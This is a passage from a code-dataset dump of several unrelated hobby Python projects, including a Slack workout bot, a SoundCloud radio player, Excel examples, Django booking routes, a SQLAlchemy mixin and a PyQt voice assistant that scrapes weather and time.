body[\"state\"][\"values\"]:\n for body_info in body[\"state\"][\"values\"].items():\n value = body_info[1][\"plain_text_input-action\"][\"value\"]\n\n if value is not None:\n name_list.append(value.split(\" \")[0])\n count_list.append(value.split(\" \")[1])\n else:\n error_cnt += 1\n\n if error_cnt >= 1:\n say(\"`운동이름 횟수(시간)`을 입력해주세요!\")\n else:\n db_id = notion_client.get_database_id()\n notion_client.create_database_page(database_id=db_id, name_list=name_list, count_list=count_list)\n\n say(\"`노션`에 입력하신 운동정보가 등록되었습니다! `노션에서 확인`해주세요!\")\n else:\n say(\"`운동이름 횟수(시간)`을 입력해주세요!\")\n\n\n# Start your app\nif __name__ == \"__main__\":\n SocketModeHandler(app, os.environ[\"SLACK_APP_TOKEN\"]).start()\n","repo_name":"nikevapormax/ohunwan_bot","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73613621956","text":"from sclib import SoundcloudAPI, Track, Playlist\nimport time\nfrom subprocess import check_output\nimport urllib\nimport random\n\n\"\"\"\napi = SoundcloudAPI()\nplaylist = SoundcloudAPI().resolve('https://soundcloud.com/flechamagica/sets/musicas-medievais-de-rpg')\nassert type(playlist) is Playlist\nfor track in playlist.tracks:\n #filename = f'./{track.artist} - {track.title}.mp3'\n print(track.permalink_url)\n tempo = int(track.duration * 0.001) + 1\n track2 = api.resolve(track.permalink_url)\n assert type(track2) is Track\n with open('musica.mp3', 'wb+') as fp:\n track2.write_mp3_to(fp)\n fp.close()\n\n check_output(\"start musica.mp3\", shell=True)\n time.sleep(tempo)\n check_output(\"nircmd.exe mutesysvolume 1\", shell=True)\n print('fim')\n break\n\"\"\"\n\n\n\ndef download_musica(musica):\n try:\n track = SoundcloudAPI().resolve(musica['url'])\n assert type(track) is Track\n with open('musica.mp3', 'wb+') as fp:\n track.write_mp3_to(fp)\n fp.close()\n except Exception as e:\n print(\"Erro: \" + str(e))\n\ndef tocar_musica(musica):\n try:\n print(\"Tocar musica: \" + musica['nome'] + \" de \" + musica['artista'])\n check_output(\"start musica.mp3\", shell=True)\n time.sleep(musica['duracao'])\n except Exception as e:\n print(\"Erro: \" + str(e))\n\ndef volume_maximo():\n try:\n check_output(\"nircmd.exe mutesysvolume 0\", shell=True)\n check_output(\"nircmd.exe setsysvolume 65535\", shell=True)\n except Exception as e:\n print(\"Erro: \" + str(e))\n\ndef abaixar_volume():\n try:\n max_volume = 65535\n i = max_volume\n while i > 2000:\n check_output(\"nircmd.exe changesysvolume -1000\", shell=True)\n i -= 1000\n check_output(\"nircmd.exe mutesysvolume 1\", shell=True)\n except Exception as e:\n print(\"Erro: \" + str(e))\n\ndef obter_playlists():\n playlists = []\n try:\n file_name = \"playlists.txt\"\n urllib.request.urlretrieve(\"https://flechamagica.com.br/playlists.txt\", file_name)\n file = open(file_name, \"r\")\n for line in file:\n playlists.append(line.strip())\n file.close()\n except Exception as e:\n print(\"Erro: \" + str(e))\n return playlists\n\ndef obter_musicas():\n musicas = []\n try:\n playlists = obter_playlists()\n for playlist_url in playlists:\n playlist = SoundcloudAPI().resolve(playlist_url)\n assert type(playlist) is Playlist\n for track in playlist.tracks:\n if isinstance(track.permalink_url, str):\n musica = {\n 'url': track.permalink_url,\n 'duracao': int(track.duration * 0.001) + 1,\n 'artista': track.artist,\n 'nome': track.title\n }\n musicas.append(musica)\n except Exception as e:\n print(\"Erro: \" + str(e))\n return musicas\n\ndef escolher_musica(lista_para_tocar):\n try:\n musica = random.choice(lista_para_tocar)\n f1 = open(\"musica.txt\", \"w\")\n f1.write(musica['nome'])\n f1.close()\n f2 = open(\"artista.txt\", \"w\")\n f2.write(musica['artista'])\n f2.close()\n return musica\n except Exception as e:\n print(\"Erro: \" + str(e))\n\ndef main():\n while True:\n try:\n lista_para_tocar = obter_musicas()\n lista_tocada = []\n while len(lista_para_tocar) > 0:\n try:\n musica = escolher_musica(lista_para_tocar)\n lista_tocada.append(musica)\n lista_para_tocar = [m for m in lista_para_tocar if m['url'] != musica['url']]\n download_musica(musica)\n volume_maximo()\n tocar_musica(musica)\n abaixar_volume()\n except Exception as e:\n print(\"Erro: \" + str(e))\n except Exception as e:\n print(\"Erro: \" + str(e))\n\nmain()\n","repo_name":"lgapontes/radio-magica","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70673458439","text":"__author__ = 'Cq'\n\"\"\"\n 读写excel文件\n\"\"\"\nimport xlrd\nimport xlwt\n\n\ndef text_excel():\n # 使用第三方库xlrd和xlwt\n\n # 读取excel文件\n book = xlrd.open_workbook('demo.xlsx')\n sheets = book.sheets()\n\n # 获取行数列数\n print(sheets[0].nrows)\n print(sheets[0].ncols)\n\n # 单元操作\n sheet = book.sheet_by_index(0)\n cell = sheet.cell(0, 0)\n print(cell.value) # 文本值\n print(cell.ctype) # 字段类型\n\n # 内置字段类型码\n print(xlrd.XL_CELL_NUMBER)\n print(xlrd.XL_CELL_TEXT)\n\n # 获取整行整列\n print(sheet.row(0))\n print(sheet.row_values(0))\n print(sheet.col(1))\n print(sheet.col_values(1))\n\n # 添加单元格内容\n wboot = xlwt.Workbook()\n\n wsheet = wboot.add_sheet('sheet1')\n wsheet.write(0, 0, 'aaaaaaaaaa')\n wboot.save('output.xlsx')\n\n\ndef do_sum_excel():\n \"\"\"\n excel记录为\n 姓名 语文 英语 数据,我们加一个总分列,并计算每行的3门成绩之和\n :return:\n \"\"\"\n rbook = xlrd.open_workbook('demo.xlsx')\n rsheet = rbook.sheet_by_index(0)\n\n nc = rsheet.ncols\n rsheet.put_cell(0, nc, xlrd.XL_CELL_TEXT, u'总分', None)\n\n for row in range(1, rsheet.nrows):\n s = sum(rsheet.row_values(row, 1))\n rsheet.put_cell(row, nc, xlrd.XL_CELL_NUMBER, s, None)\n\n\n wbook = xlwt.Workbook()\n wsheet = wbook.add_sheet(rsheet.name)\n style = xlwt.easyxf('align: vertical center, horizontal center')\n\n for r in range(rsheet.nrows):\n for c in range(rsheet.ncols):\n wsheet.write(r, c, rsheet.cell_value(r, c), style)\n\n wbook.save(\"output.xlsx\")\n\n\nif __name__ == '__main__':\n # text_excel()\n do_sum_excel()","repo_name":"cq146637/Advanced","sub_path":"5/5-4.py","file_name":"5-4.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37555374153","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('BookingPage/', views.BookingPage, name='BookingPage'),\n path('ConfirmBookingPage/', views.ConfirmBookingPage, name='ConfirmBookingPage'),\n path('OTPPage/', views.OTPPage, name='OTPPage'),\n path('OTPValidation/', views.OTPValidation, name='OTPValidation'),\n path('BookingHistory/', views.BookingHistory, name='BookingHistory'),\n]\n","repo_name":"SOUMYA-CODING/Silicon-Guest-House","sub_path":"GuestHouse/MyBooking/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"15174558015","text":"from sqlalchemy import Column, Integer\nfrom .db_session import db_session\nfrom helpers import sql_alchemy_object_to_dict\n\nclass Searchable(object):\n\n # @declared_attr\n # def __tablename__(cls):\n # return cls.__name__.upper()\n\n id = Column(Integer, primary_key=True)\n\n @classmethod\n def get_by_id(cls,id):\n ret = db_session.query(cls).filter_by(id=id).first()\n return ret\n\n @classmethod\n def get(cls, multiple = True, **kwargs):\n\n if multiple:\n ret = db_session.query(cls).filter_by(**kwargs).all()\n else:\n ret = db_session.query(cls).filter_by(**kwargs).first()\n\n return ret\n\n @classmethod\n def get_all(cls, user_id):\n ret = db_session.query(cls).filter_by(user_id=user_id).all()\n return ret\n\n @classmethod\n def get_multiple_by_id(cls, id_list):\n ret = db_session.query(cls).filter(cls.id.in_(id_list)).all()\n return ret\n\n def to_dict(self, variables = \"all\"):\n return sql_alchemy_object_to_dict(self, variables)","repo_name":"nivangio/orrouter","sub_path":"starter/Searchable.py","file_name":"Searchable.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41098120213","text":"import speech_recognition\r\nimport pyttsx3\r\nfrom selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\nimport pycountry\r\nimport requests\r\nimport random\r\nimport sys\r\nfrom PyQt5.QtWidgets import QApplication\r\nfrom PyQt5 import uic\r\nimport os\r\n\r\npath = os.path.join(os.path.dirname(__file__))\r\n\r\nMainWindowUI, MainWindowBase = uic.loadUiType(\r\n os.path.join(path, 'form.ui'))\r\n\r\n\r\nclass SpeechWebScraper(MainWindowBase, MainWindowUI):\r\n\r\n def __init__(self, parent=None):\r\n MainWindowBase.__init__(self, parent)\r\n\r\n self.setupUi(self)\r\n # Create a variable that will represent as robot app to communicate with the user, just like Siri\r\n self.robot = speech_recognition.Recognizer()\r\n # Create a variable for speaking using pyttsx module\r\n self.audio = pyttsx3.init()\r\n # Create a self.robot voice to communicate with the user\r\n self.voices = self.audio.getProperty('voices')\r\n self.audio.setProperty('voices', self.voices[0].id)\r\n self.pushButton_start.clicked.connect(self.menu_selection)\r\n self.pushButton_stop.clicked.connect(self.stop_event)\r\n self.textBrowser_conversation.append(\"\"\"\r\n ┼┼┼┼┼┼┼┼┼┼┼┼▄▀▀▀▄▄▄▄▄▄▄▀▀▀▄┼┼┼┼┼┼┼┼┼┼┼\r\n ┼┼┼┼┼┼┼┼┼┼┼┼█▒▒░░░░░░░░░▒▒█┼┼┼┼┼┼┼┼┼┼┼\r\n ┼┼┼┼┼┼┼┼┼┼┼┼┼█░░█░░░░░█░░█┼┼┼┼┼┼┼┼┼┼┼┼\r\n ┼┼┼┼┼┼┼┼┼─▄▄──█░░░▀█▀░░░█──▄▄─┼┼┼┼┼┼┼┼\r\n ┼┼┼┼┼┼┼┼┼█░░█─▀▄░░░░░░░▄▀─█░░█┼┼┼┼┼┼┼┼\r\n ┼┼┼┼┼┼██░██░████░██░░░██░░░█████┼┼┼┼┼┼\r\n ┼┼┼┼┼┼██▄██░██▄▄░██���░░██░░░██░██┼┼┼┼┼┼\r\n ┼┼┼┼┼┼██▀██░██▀▀░██░░░██░░░██░██┼┼┼┼┼┼\r\n ┼┼┼┼┼┼██░██░████░████░████░█████┼┼┼┼┼┼\r\n \"\"\")\r\n self.continueLoop = True\r\n\r\n # Create a function to read the words and say it out loud\r\n def ROBOT_VOICE(self, words):\r\n self.audio.say(words)\r\n self.audio.runAndWait()\r\n\r\n # Create function to scrape weather data from the web, takes country & city parameters, & returns forecast as string\r\n def weather_scraper(self, country: str, city: str):\r\n # Variable holds path to webdriver for selenium use\r\n PATH = \"./chromedriver.exe\"\r\n # Create variable to store url with country and city appended which will be opened\r\n URL = 'https://www.timeanddate.com/weather/' + country + '/' + city\r\n # Option variable to pass driver object to suppress the opening of the browser\r\n option = webdriver.ChromeOptions()\r\n option.add_argument('headless')\r\n # Variable represents Chrome browser\r\n driver = webdriver.Chrome(PATH, options=option)\r\n # Webdriver opens url\r\n driver.get(URL)\r\n # Page loads generates full code, source code is then stored as a variable\r\n soup_source = driver.page_source\r\n # Variable creates a soup object based on source code in analyzable format\r\n soup = BeautifulSoup(soup_source, features=\"lxml\")\r\n # Webdriver closed as beautifulsoup will process remaining code\r\n driver.quit()\r\n # Web page's title was a good format so I grabbed it as is\r\n title = soup.title.text.strip()\r\n # Element id of HTML code block needed to analyze\r\n focus = soup.find(id='qlook')\r\n # Variables to store extracted weather details\r\n temp = focus.find('div', class_='h2').text.strip()\r\n rest_info = focus.find_all('p')\r\n condition = rest_info[0].text.strip()\r\n description = rest_info[1].text.strip().split('F')\r\n # Create a formatted string variable to return forecast in speakable form\r\n feels = 'F' + description[1]\r\n return_string = f'{title}\\n {temp}\\nCondition is {condition}\\n {feels}'\r\n return return_string\r\n\r\n # Method to statically web scrape time from user input of country & city\r\n def time_scraper(self, country: str, city: str):\r\n # Create variable to store url with country and city appended which will be opened\r\n URL = 'https://www.timeanddate.com/worldclock/' + country + '/' + city\r\n # Request gets page's full code\r\n page = requests.get(URL)\r\n # Variable creates a soup object based on source code in analyzable format\r\n soup = BeautifulSoup(page.content, features=\"lxml\")\r\n # Web page's title was a good format so I grabbed it as is\r\n title = soup.title.text.strip()\r\n # Variables to store extracted weather details\r\n time = soup.find(id='ct').text.strip()\r\n time_zone = soup.find(id='cta').find('a')['title']\r\n return f'{title}\\n is {time}\\nTime Zone is {time_zone}'\r\n\r\n def time_module(self):\r\n # Try condition wraps entire module to cover microphone connectivity issues & unspecified errors\r\n try:\r\n # Create a string word for entry of the app and introduction for the user to know that the app is running\r\n self.general_display('Hey this is a Time app by Group 1! I can tell time anywhere.')\r\n with speech_recognition.Microphone() as source:\r\n while True:\r\n try:\r\n # Get country and city from the user with method, and assign to variables\r\n country, city = self.location_getter(source)\r\n self.general_display(\"let me get the time there\")\r\n if self.time_scraper(country, city):\r\n scraped = self.time_scraper(country, city)\r\n self.general_display(scraped)\r\n else:\r\n raise LookupError\r\n except LookupError or AttributeError:\r\n # Raised if city or country is not recognized in the url\r\n self.general_display(\"Invalid city\")\r\n except speech_recognition.UnknownValueError:\r\n # Raised if speech not recognized\r\n self.general_display(\"Please Say a City\")\r\n except:\r\n # Raised if other error\r\n self.general_display(\"Something went wrong. Please try again\")\r\n\r\n # Ask the user to continue checking other locations for time\r\n self.general_display(\"Would you like the time of another place? Yes or No? I'm listening...\")\r\n try:\r\n listen = self.robot.listen(source)\r\n command = self.robot.recognize_google(listen)\r\n if \"no\" in command or \"exit\" in command or \"stop\" in command or 'nop' in command or 'cancel' in command or 'end' in command:\r\n self.textBrowser_conversation.append(f\"\\nUser> {command}\\n\")\r\n break\r\n else:\r\n self.general_display('I see!')\r\n except speech_recognition.UnknownValueError:\r\n self.general_display(\"Let's Continue\")\r\n except speech_recognition.UnknownValueError:\r\n # Generic exception block without error type catches all unspecified errors & mic speech_recognition errors\r\n self.err_msg()\r\n\r\n # Speech-recognition and weather scraper functionality combined in weather_module\r\n def weather_module(self):\r\n # Try condition wraps entire module to cover microphone connectivity issues & unspecified errors\r\n try:\r\n # Create a string word for entry of the app and introduction for the user to know that the app is running\r\n self.general_display('Hey this is a Weather app by Group 1! I am here for your weather update.')\r\n with speech_recognition.Microphone() as source:\r\n while True:\r\n try:\r\n # Get country and city from the user with method, and assign to variables\r\n country, city = self.location_getter(source)\r\n self.general_display(\"let me get the weather there\")\r\n if self.weather_scraper(country, city):\r\n scraped = self.weather_scraper(country, city)\r\n self.general_display(scraped)\r\n else:\r\n raise LookupError\r\n except LookupError or AttributeError:\r\n # Raised if city or country is not recognized in the url\r\n self.general_display(\"Invalid city\")\r\n except speech_recognition.UnknownValueError:\r\n # Raised if speech not recognized\r\n self.general_display(\"Please Say a City\")\r\n except:\r\n # Raised if other error\r\n self.general_display(\"Something went wrong. Please try again\")\r\n # Ask the user to continue checking other locations for weather updates\r\n self.general_display(\"Would you like to check weather somewhere else? Yes or No? I'm listening...\")\r\n try:\r\n listen = self.robot.listen(source)\r\n command = self.robot.recognize_google(listen)\r\n if \"no\" in command or \"exit\" in command or \"stop\" in command or 'nop' in command or 'cancel' \\\r\n in command or 'end' in command:\r\n self.textBrowser_conversation.append(f\"\\nUser> {command}\\n\")\r\n break\r\n else:\r\n self.general_display('I see!')\r\n except speech_recognition.UnknownValueError:\r\n self.general_display(\"Let's Continue\")\r\n except:\r\n # Generic exception block w/o error type catches all unspecified errors and mic speech_recognition errors\r\n self.err_msg()\r\n\r\n def joke_module(self, source):\r\n self.continueJoke = True\r\n while self.continueJoke:\r\n response = requests.get(\"https://official-joke-api.appspot.com/random_joke\").json()\r\n self.general_display(f\"\\nHere is your joke for today.\\n\")\r\n joke = f\"{response['setup']} \\n\\n{response['punchline']}\"\r\n self.general_display(joke)\r\n self.general_display(\"Would you like to hear another joke?\")\r\n listen = self.robot.listen(source)\r\n command = self.robot.recognize_google(listen)\r\n if \"no\" in command or \"exit\" in command or \"stop\" in command or 'nope' in command or '5' in command \\\r\n or 'five' in command or 'nop' in command or 'cancel' in command or 'end' in command:\r\n self.continueJoke = False\r\n self.textBrowser_conversation.append(f\"\\nUser> {command}\")\r\n\r\n def game_module(self, source):\r\n while True:\r\n num_guess = 0\r\n number = random.randint(1, 20) # returns random integer within range\r\n # print the number so you can see it\r\n print(number)\r\n self.general_display('I am thinking of a number between 1 and 20.')\r\n self.general_display(\"How many attempts would you like to guess the number? I'm listening ...\")\r\n listen = self.robot.listen(source)\r\n attempts = self.robot.recognize_google(listen)\r\n attempts = int(attempts)\r\n self.textBrowser_conversation.append(f'\\nUser> {attempts}')\r\n guess = 0\r\n while num_guess < attempts:\r\n try:\r\n self.general_display(\"Guess a number. I'm listening \")\r\n listen = self.robot.listen(source)\r\n guess = self.robot.recognize_google(listen)\r\n guess = int(guess)\r\n self.textBrowser_conversation.append(f'\\nUser> {guess}')\r\n num_guess += 1\r\n if guess < number:\r\n self.general_display('Your guess is too low.')\r\n if guess > number:\r\n self.general_display('Your guess is too high.')\r\n if guess == number:\r\n self.win_msg(num_guess)\r\n break\r\n except:\r\n # Generic exception block w/o error type catch all errors & mic speech_recognition errors\r\n self.general_display(\"Something went Wrong. Please try again!\")\r\n if guess != number:\r\n number = str(number)\r\n self.lose_msg(number)\r\n # Ask the user to continue checking other locations for weather updates\r\n self.general_display(\"Would you like to play another round? Yes or No? I'm listening...\")\r\n try:\r\n listen = self.robot.listen(source)\r\n command = self.robot.recognize_google(listen)\r\n if \"no\" in command or \"exit\" in command or \"stop\" in command or 'nop' in command or 'cancel' in command or 'end' in command:\r\n self.textBrowser_conversation.append(f\"\\nUser> {command}\\n\")\r\n break\r\n else:\r\n self.general_display('I see!')\r\n except speech_recognition.UnknownValueError:\r\n self.general_display(\"Let's Continue\")\r\n\r\n def stop_event2(self):\r\n # self.stop_event2()\r\n self.general_display(\"Would you like to continue? Yes or No? I'm listening...\")\r\n try:\r\n with speech_recognition.Microphone() as source:\r\n listen = self.robot.listen(source)\r\n command = self.robot.recognize_google(listen)\r\n if \"no\" in command or \"exit\" in command or \"stop\" in command or 'nop' in command or 'cancel' in command or 'end' in command:\r\n self.continueLoop = False\r\n self.textBrowser_conversation.append(f\"\\nUser> {command}\")\r\n # Closing message\r\n self.exit_msg()\r\n else:\r\n self.continueLoop = True\r\n self.general_display(\"Let's continue! You can select from options on the left, I'm listening\")\r\n except:\r\n # Generic exception block w/o error type catches all unspecified errors and mic speech_recognition errors\r\n self.err_msg()\r\n\r\n def stop_event(self):\r\n if self.continueLoop:\r\n self.continueLoop = False\r\n\r\n def menu_selection(self):\r\n self.general_display(\"What would you like to do today? You can select from options on the left, I'm listening\")\r\n try:\r\n with speech_recognition.Microphone() as source:\r\n while self.continueLoop:\r\n listen = self.robot.listen(source)\r\n command = self.robot.recognize_google(listen)\r\n if \"no\" in command or \"exit\" in command or \"stop\" in command or 'nope' in command or '5' in command \\\r\n or 'five' in command or 'nop' in command or 'cancel' in command or 'end' in command:\r\n self.continueLoop = False\r\n self.textBrowser_conversation.append(f\"\\nUser> {command}\")\r\n self.exit_msg()\r\n elif \"weather\" in command or \"get the weather\" in command or \"1\" in command or \"one\" in command:\r\n self.continueLoop = True\r\n self.general_display(\"You selected to get the weather...\")\r\n self.weather_module()\r\n elif \"time\" in command or \"get the time\" in command or \"3\" in command or \"three\" in command:\r\n self.continueLoop = True\r\n self.general_display(\"You selected to get the time...\")\r\n self.time_module()\r\n elif \"game\" in command or \"play a game\" in command or \"play\" in command or \"2\" in command or \"two\" in command:\r\n self.continueLoop = True\r\n self.general_display(\"You selected to play a game...\")\r\n self.game_module(source)\r\n elif \"joke\" in command or \"tell me a joke\" in command or \"please tell me a joke\" in command or \"4\" in command or \"four\" in command:\r\n self.joke_module(source)\r\n else:\r\n self.continueLoop = True\r\n self.general_display('I did not understand so I will tell you a joke!')\r\n self.joke_module()\r\n\r\n self.stop_event2()\r\n except:\r\n # Generic exception block without error type catches all unspecified errors and mic speech_recognition errors\r\n self.err_msg()\r\n\r\n\r\n def location_getter(self, source):\r\n while True:\r\n self.general_display('What country are you looking for? Listening...')\r\n # Try condition for invalid country and unrecognized speech exceptions\r\n try:\r\n listen = self.robot.listen(source)\r\n # listen to the voice and take the first word if there are many\r\n place = self.robot.recognize_google(listen).lower().split(' ')\r\n country = '-'.join(place)\r\n self.textBrowser_conversation.append(f\"\\nUser> {place}\")\r\n # If statement validates input country with pycountry module\r\n if pycountry.countries.search_fuzzy(country):\r\n # Url takes america as usa, so this if condition check for that\r\n if pycountry.countries.search_fuzzy(country) == pycountry.countries.search_fuzzy(\"America\"):\r\n country = \"usa\"\r\n break\r\n else:\r\n # Raise error if country is not validated\r\n raise LookupError\r\n except LookupError or AttributeError:\r\n # Raised if country not validated\r\n self.general_display(\"Invalid Country\")\r\n except speech_recognition.UnknownValueError:\r\n # Raised if speech not recognized\r\n self.general_display(\"Please Say a Country\")\r\n # Get city from the user\r\n while True:\r\n self.general_display(\"What city are you looking for? I'm listening...\")\r\n # Try condition for invalid city and unrecognized speech exceptions\r\n try:\r\n listen = self.robot.listen(source)\r\n # listen to the voice and take the first word if there are many\r\n place = self.robot.recognize_google(listen).lower().split(' ')\r\n self.textBrowser_conversation.append(f\"\\nUser> {place}\")\r\n city = '-'.join(place)\r\n self.general_display(city + \", \" + country)\r\n break\r\n except:\r\n # Raised if speech not recognized\r\n self.general_display(\"Please Say a City\")\r\n\r\n return country, city\r\n\r\n def general_display(self, msg: str):\r\n # Since forecast results have successfully been returned say forecast and break loop\r\n self.textBrowser_conversation.append(f\"\\nComputer> {msg}\\n\")\r\n self.ROBOT_VOICE(msg)\r\n # print(msg)\r\n\r\n def exit_msg(self):\r\n # Closing message\r\n self.general_display('Thank you. Talk to you again soon!')\r\n self.textBrowser_conversation.append(f\"\"\"\r\n ███████▀█████████████████████████████\r\n ██████░░█████████████████████████████\r\n █████▀░▄█████████████████████████████\r\n █████░░▀▀▀▀▀███▀▀█████▀▀███▀▀▀▀▀█████\r\n █████░░▄██▄░░███░░███░░███░░███░░████\r\n ████░░█████░░███░▄███░░██░░▀▀▀░▄█████\r\n ████░░████▀░███░░███▀░███░░██████████\r\n ████░░█▀▀░▄████▄░▀▀▀░▄███▄░▀▀▀░▄█████\r\n █████▄▄▄███████████░░██████▄▄████████\r\n ██████████████░▀█▀░▄█████████████████\r\n ███████████████▄▄▄███████████████████\r\n \"\"\")\r\n\r\n def win_msg(self, num_guess):\r\n self.general_display('Good job! You guessed my number in ' + str(num_guess) + ' tries.')\r\n self.textBrowser_conversation.append(\"\"\"\r\n █▀▀▄░░░░░░░░░░░▄▀▀█\r\n ░█░░░▀▄░▄▄▄▄▄░▄▀░░░█\r\n ░░▀▄░░░▀░░░░░▀░░░▄▀\r\n ░░░░▌░▄▄░░░▄▄░▐▀▀\r\n ░░░▐░░█▄░░░▄█░░▌▄▄▀▀▀▀█\r\n ░░░▌▄▄▀▀░▄░▀▀▄▄▐░░░░░░█\r\n ▄▀▀▐▀▀░▄▄▄▄▄░▀▀▌▄▄▄░░░█\r\n █░░░▀▄░█░░░█░▄▀░░░░█▀▀▀\r\n ░▀▄░░▀░░▀▀▀░░▀░░░▄█▀\r\n ░░░█░░░░░░░░░░░▄▀▄░▀▄\r\n ░░░█░░░░░░░░░▄▀█░░█░░█\r\n ░░░█░░░░░░░░░░░█▄█░░▄▀\r\n ░░░█░░░░░░░░░░░████▀\r\n ░░░▀▄▄▀▀▄▄▀▀▄▄▄█▀\r\n \"\"\")\r\n\r\n def lose_msg(self, number):\r\n self.general_display('Sorry, you ran out of attempts. I was thinking of the number ' + number)\r\n self.textBrowser_conversation.append(\"\"\"\r\n ________________________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________\r\n ____________________¶¶¶___________________¶¶¶¶_____\r\n ________________¶¶¶_________________________¶¶¶¶___\r\n ______________¶¶______________________________¶¶¶__\r\n ___________¶¶¶_________________________________¶¶¶_\r\n _________¶¶_____________________________________¶¶¶\r\n ________¶¶_________¶¶¶¶¶___________¶¶¶¶¶_________¶¶\r\n ______¶¶__________¶¶¶¶¶¶__________¶¶¶¶¶¶_________¶¶\r\n _____¶¶___________¶¶¶¶____________¶¶¶¶___________¶¶\r\n ____¶¶___________________________________________¶¶\r\n ___¶¶___________________________________________¶¶_\r\n __¶¶____________________¶¶¶¶____________________¶¶_\r\n _¶¶_______________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶______________¶¶__\r\n _¶¶____________¶¶¶¶___________¶¶¶¶¶___________¶¶___\r\n ¶¶¶_________¶¶¶__________________¶¶__________¶¶____\r\n ¶¶_________¶______________________¶¶________¶¶_____\r\n ¶¶¶______¶________________________¶¶_______¶¶______\r\n ¶¶¶_____¶_________________________¶¶_____¶¶________\r\n _¶¶¶___________________________________¶¶__________\r\n __¶¶¶________________________________¶¶____________\r\n ___¶¶¶____________________________¶¶_______________\r\n ____¶¶¶¶______________________¶¶¶__________________\r\n _______¶¶¶¶¶_____________¶¶¶¶¶_____________________\r\n \"\"\")\r\n\r\n def err_msg(self):\r\n self.general_display(\"Err! Check your microphone!\")\r\n self.textBrowser_conversation.append(\"\"\"\r\n ░░░░░░░░░░░░▄▄▄█▀▀▀▀▀▀▀▀█▄▄▄░░░░░░░░░░░░\r\n ░░░░░░░░▄▄█▀▀░░░░░░░░░░░░░░▀▀█▄▄░░░░░░░░\r\n ░░░░░░▄█▀░░░░▄▄▄▄▄▄▄░░░░░░░░░░░▀█▄░░░░░░\r\n ░░░░▄█▀░░░▄██▄▄▄▄▄▄▄██▄░░░░▄█▀▀▀▀██▄░░░░\r\n ░░░█▀░░░░█▀▀▀░░▄██░░▄▄█░░░██▀▀▀███▄██░░░\r\n ░░█░░░░░░▀█▀▀▀▀▀▀▀▀▀██▀░░░▀█▀▀▀▀███▄▄█░░\r\n ░█░░░░░░░░░▀▀█▄▄██▀▀░░░░░░░░▀▄▄▄░░░▄▄▀█░\r\n █▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀░░▀█\r\n █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄░░░░█\r\n █░░░░░░░░░░░░░░░░░░░░░░░░▄▄▄▄▄██░░▀█░░░█\r\n █░░░░░░░░░░░░░░█░░░▄▄▄█▀▀▀░░░▄█▀░░░░░░░█\r\n █░░░░░░░░░░░░░░░░░░▀░░░░░░░░█▀░░░░░░░░░█\r\n █▄░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄█\r\n ░█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█░\r\n ░░█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█░░\r\n ░░░█▄░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄█░░░\r\n ░░░░▀█▄░░░░░░░░░░░░░░░░░░░░░░░░░░▄█▀░░░░\r\n ░░░░░░▀█▄░░░░░░░░░░░░░░░░░░░░░░▄█▀░░░░░░\r\n ★─▄█▀▀║░▄█▀▄║▄█▀▄║██▀▄║─★\r\n ★─██║▀█║██║█║██║█║██║█║─★\r\n ★─▀███▀║▀██▀║▀██▀║███▀║─★\r\n ★───────────────────────★\r\n ★───▐█▀▄─ ▀▄─▄▀ █▀▀──█───★\r\n ★───▐█▀▀▄ ──█── █▀▀──▀───★\r\n ★───▐█▄▄▀ ──▀── ▀▀▀──▄───★\r\n \"\"\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = QApplication([])\r\n window = SpeechWebScraper()\r\n window.show()\r\n sys.exit(app.exec_())\r\n","repo_name":"mbutt19/COMP216_Networking_SpeechRecognition","sub_path":"FinalSpeechRecognitionApp - final/FinalSpeechRecognitionApp/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":27999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42044039798","text":"# table definition\ntable = {\n 'table_name' : 'db_columns',\n 'module_id' : 'db',\n 'short_descr' : 'Db columns',\n 'long_descr' : 'Database column definitions',\n 'sub_types' : None,\n 'sub_trans' : None,\n 'sequence' : ['seq', ['table_id', 'col_type'], None],\n 'tree_params' : None,\n 'roll_params' : None,\n 'indexes' : None,\n 'ledger_col' : None,\n 'defn_company' : None,\n 'data_company' : None,\n 'read_only' : False,\n }\n\n# column definitions\ncols = []\ncols.append ({\n 'col_name' : 'row_id',\n 'data_type' : 'AUTO',\n 'short_descr': 'Row id',\n 'long_descr' : 'Row id',\n 'col_head' : 'Row',\n 'key_field' : 'Y',\n 'data_source': 'gen',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': False,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : None,\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'created_id',\n 'data_type' : 'INT',\n 'short_descr': 'Created id',\n 'long_descr' : 'Created row id',\n 'col_head' : 'Created',\n 'key_field' : 'N',\n 'data_source': 'gen',\n 'condition' : None,\n 'allow_null' : False,\n 'allow_amend': False,\n 'max_len' : 0,\n 'db_scale' : 0,\n 'scale_ptr' : None,\n 'dflt_val' : '0',\n 'dflt_rule' : None,\n 'col_checks' : None,\n 'fkey' : None,\n 'choices' : None,\n })\ncols.append ({\n 'col_name' : 'deleted_id',\n 